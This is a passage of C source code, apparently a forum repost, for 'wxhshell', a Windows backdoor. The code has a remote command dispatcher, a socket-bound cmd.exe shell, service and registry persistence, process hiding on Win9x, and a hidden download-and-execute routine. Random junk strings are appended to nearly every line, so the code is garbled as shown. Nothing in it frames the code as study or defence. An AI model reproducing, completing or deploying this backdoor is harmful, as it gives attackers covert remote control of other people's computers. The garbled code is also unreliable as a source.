  !PoyM[Z"f  
  // 帮助 =T3{!\tH  
  case '?': { (QIU3EN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4OM ]8I!  
    break; 1 0zM8<bl  
  } ?M4ig_  
  // 安装 UZt3Ua&J  
  case 'i': { &c-V QP(  
    if(Install()) WY|~E%k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CX/[L)|Ru  
    else b(N+_= n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;sA 5&a>!  
    break; Bs0~P 4^  
    } i +@avoW  
  // 卸载 4}D&=0IZ  
  case 'r': { >AV9 K  
    if(Uninstall()) 3q/"4D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g.Ur~5r  
    else G0: <#?<5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w@2NXcmw  
    break; a`yCPnB(  
    } 4;~xRg;u&*  
  // 显示 wxhshell 所在路径 ww %c+O/  
  case 'p': { DOtz  
    char svExeFile[MAX_PATH]; :@ &e~QP(  
    strcpy(svExeFile,"\n\r"); 2A  
      strcat(svExeFile,ExeFile); ~L&z? 'V  
        send(wsh,svExeFile,strlen(svExeFile),0); |goBIp[  
    break; Ke^/aGi}O  
    } '2l[~T$*  
  // 重启 @}UOm- M  
  case 'b': { y+BiaD!U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9*j"@Rm  
    if(Boot(REBOOT)) )X#$G?|Hn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uq6>K/~D  
    else { " xC$Ko _  
    closesocket(wsh); W!el[@  
    ExitThread(0); G :+D1J]  
    } _Rj bm'kC  
    break; S9:ij1  
    } y46sL~HRv  
  // 关机 " ?aE3$/  
  case 'd': { te;bn4~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); clqFV   
    if(Boot(SHUTDOWN)) q) 5s'(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i|H^&$|  
    else { qtVgjT2#H  
    closesocket(wsh); 2|!jst  
    ExitThread(0); -;Mh|!yg  
    } D_F1<q  
    break; #lFsgb  
    }  1^hG}#6_  
  // 获取shell s;<]gaonB_  
  case 's': { Q%'4jn?H  
    CmdShell(wsh); ;YokPiBy  
    closesocket(wsh); : [?7,/w  
    ExitThread(0); Yc[vH=gV}  
    break; p&(z'd  
  } mtFC H  
  // 退出 meB9 :w[m  
  case 'x': { #?M[Q:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p/ZgzHyF  
    CloseIt(wsh); sn[<Lq  
    break; QWm g#2'  
    } Or/YEt}  
  // 离开 aAu%QRq  
  case 'q': { (8S+-k?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4nd)*0{ f  
    closesocket(wsh); >PWDo  
    WSACleanup(); :`yW^b  
    exit(1); !=vsY]  
    break; !+hw8@A  
        } %MtaWZ  
  } :q1j?0 {2N  
  } !k 'E  
*Q [%r  
  // 提示信息 Z~ q="CA4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0 n{+_   
} H5FWk  
  } S2I{?y&K  
>r:z`^p  
  return; o9D#d\G  
} nm|"9|/  
IQ#Kod;)  
// shell模块句柄 s?sr0HZ  
int CmdShell(SOCKET sock) .Pe^u%J6F  
{ ,mp^t2  
STARTUPINFO si; $f"Ce,f  
ZeroMemory(&si,sizeof(si)); 0rDQJCm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <aMihT)dd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 's8LrO(=  
PROCESS_INFORMATION ProcessInfo; d8jP@>  
char cmdline[]="cmd"; j}%C;;MPH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c@O7,y:`I  
  return 0; g{?{N  
} >\Iy <M  
XC[AJ!q`  
// 自身启动模式 BYI13jMH+Y  
int StartFromService(void) KH$o X\v  
{ d$D3iv^hyx  
typedef struct yrMakT=  
{ nzi)4"3O  
  DWORD ExitStatus; Ag]Hk %  
  DWORD PebBaseAddress; q>a/',m  
  DWORD AffinityMask; hG/Z65`&  
  DWORD BasePriority; "aGpC{  
  ULONG UniqueProcessId; h_t<Jl  
  ULONG InheritedFromUniqueProcessId; o[G,~f\-  
}   PROCESS_BASIC_INFORMATION; P-N+  
IrP6Rxh  
PROCNTQSIP NtQueryInformationProcess; 44hz,  
40LA G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rYA4(rYq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1B`0.M'd  
O;;vz+ j  
  HANDLE             hProcess; ^@q $c  
  PROCESS_BASIC_INFORMATION pbi; V/DdV}n!  
`ucr;P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (@*#Pn|A  
  if(NULL == hInst ) return 0; >\ym{@+*  
pc_$,RkN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s9YP =)I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9TE-'R@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IPh_QE2g  
(XA]k%45  
  if (!NtQueryInformationProcess) return 0; ~F]If\b  
9y"\]G77E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,OO0*%  
  if(!hProcess) return 0; !7kca#,X  
 N5GQ2V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -}<W|r  
cW, 6 MAQo  
  CloseHandle(hProcess); R$ 40cW3`  
Ll6|WhX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G0$,H(]~  
if(hProcess==NULL) return 0; |FD-q.AV  
FBK6{rLMc  
HMODULE hMod; %xI,A'#  
char procName[255]; Si%K|$?@  
unsigned long cbNeeded; 3Q(#2tL=  
LMte,zs>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -RnQ8Iu o  
~C],?X(zk  
  CloseHandle(hProcess); 7b[vZNi_  
}q@Jh*  
if(strstr(procName,"services")) return 1; // 以服务启动 ?)#}Nj<R  
faaFmEC  
  return 0; // 注册表启动 >sE{c>R%  
} )0Lv-Gs  
oBTRO0.s+  
// 主模块 ul3._Q   
int StartWxhshell(LPSTR lpCmdLine) h3Z0NJ=xM  
{ Ke+#ww  
  SOCKET wsl; \lpR+zaF  
BOOL val=TRUE; |Gh~Zu p  
  int port=0; -^LEGKN  
  struct sockaddr_in door; H<YS2Ed  
O>`DR0  
  if(wscfg.ws_autoins) Install(); =h 2zIcj  
"S@%d(lg  
port=atoi(lpCmdLine); ~nG?>  
U_c.Z{lC4  
if(port<=0) port=wscfg.ws_port; ]`Y;4XR  
:X;' 37o#q  
  WSADATA data; hpJi,4r.d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YTpO4bX  
<$'OSN`!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GoNX\^A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,0=:06l  
  door.sin_family = AF_INET; "+V.Yue`R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @'EU\Y\l  
  door.sin_port = htons(port); n +z5;'my  
vrD]o1F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $fA%_T_P'P  
closesocket(wsl); xTW$9>@\m  
return 1; Y_49UtJIg  
} f?1?$Sp/W  
H)5v X+9D  
  if(listen(wsl,2) == INVALID_SOCKET) { E=Z .v  
closesocket(wsl); k%)QrRnB  
return 1; SXA_P{j&a  
} ;'r} D!8w/  
  Wxhshell(wsl); cmv&!Egd  
  WSACleanup(); C. Hr  
D f H>UA  
return 0; DLv\]\h}L  
.W<yiB}^  
} zviEk/:zm  
EnGVp<6R  
// 以NT服务方式启动 C&m[/PJ~l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EI*B(  
{ -*u7MFq_  
DWORD   status = 0; /=}w%-;/;  
  DWORD   specificError = 0xfffffff; L}1|R*b  
>>voLDDd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /8i3I5*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gZe(aGh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9a5x~Z:'  
  serviceStatus.dwWin32ExitCode     = 0; tTB,eR$  
  serviceStatus.dwServiceSpecificExitCode = 0; Eh)PZvH  
  serviceStatus.dwCheckPoint       = 0; #,1Kum bG3  
  serviceStatus.dwWaitHint       = 0; $Aw"?&d"  
2WRa@;Tj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .>0j<|~  
  if (hServiceStatusHandle==0) return;  3%G>TB  
0m^(|=N-  
status = GetLastError(); ) )q4Rh  
  if (status!=NO_ERROR) 8(e uWS  
{ c|%.B2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  s=&&gC1  
    serviceStatus.dwCheckPoint       = 0; Pvq74?an`  
    serviceStatus.dwWaitHint       = 0; 5 #)5Z8`X  
    serviceStatus.dwWin32ExitCode     = status; B'OUT2cgB  
    serviceStatus.dwServiceSpecificExitCode = specificError; ruG5~dm>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;x*_h  
    return; ~5[#c27E9  
  } mX9amS&B$  
dMw0Aw,2]8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .mzy?!w0q  
  serviceStatus.dwCheckPoint       = 0; VL5GX (  
  serviceStatus.dwWaitHint       = 0; _s/ 5oRHA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v&p|9C@  
} HrH-e= j  
?32gug\i'}  
// 处理NT服务事件,比如:启动、停止 yF-EHNNf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WleE$ ,  
{ Wm{Lg0Nr  
switch(fdwControl) :nZVP_d+  
{ ?8AchbK; N  
case SERVICE_CONTROL_STOP: @7Oqp-  
  serviceStatus.dwWin32ExitCode = 0; )a ov]Ns  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FA}dKE=c Q  
  serviceStatus.dwCheckPoint   = 0; |kPjjVGF{  
  serviceStatus.dwWaitHint     = 0; C:+-T+m[  
  { \a+.~_iL|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5\MCk"R!  
  } slC 38  
  return; tONX<rA|]  
case SERVICE_CONTROL_PAUSE: p.1@4kgK&r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a\60QlAk~  
  break; \&K{v#g ~  
case SERVICE_CONTROL_CONTINUE: B|9)4f&\=R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KTr7z^  
  break; nKI]f`P7  
case SERVICE_CONTROL_INTERROGATE: a:*8SovI  
  break; + niz(]  
}; ]W^F!p~eC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1 !N+hf  
} .g L%0  
z ;>xI~  
// 标准应用程序主函数 YIjY?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f;AQw_{  
{ $]v=2j  
CatbEXO  
// 获取操作系统版本 $on"@l%U  
OsIsNt=GetOsVer(); wldv^n hM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >yr:L{{D}G  
} + ]A?'&  
  // 从命令行安装 5L6_W -n{  
  if(strpbrk(lpCmdLine,"iI")) Install(); PE $sF ]/  
Hd*e9;z  
  // 下载执行文件 5G$N  
if(wscfg.ws_downexe) { (X=JT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5f;6BP  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6 V{Sf9V|  
} 77KB-l2  
a8D7n Ea  
if(!OsIsNt) { :w|ef;  
// 如果时win9x,隐藏进程并且设置为注册表启动 kiYHJ\a  
HideProc();  GtR!a  
StartWxhshell(lpCmdLine); !=(OvX_<  
} HSXv_  
else S$~T8_m^U  
  if(StartFromService()) #0HZ"n  
  // 以服务方式启动 S T#9auw  
  StartServiceCtrlDispatcher(DispatchTable); MI^@p`s  
else tB S+?N  
  // 普通方式启动 BlwAD  
  StartWxhshell(lpCmdLine); Q=YIAGK  
* 0vq+C  
return 0; O;zq(/,-l  
}
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只看该作者 1 发表于: 2006-10-10
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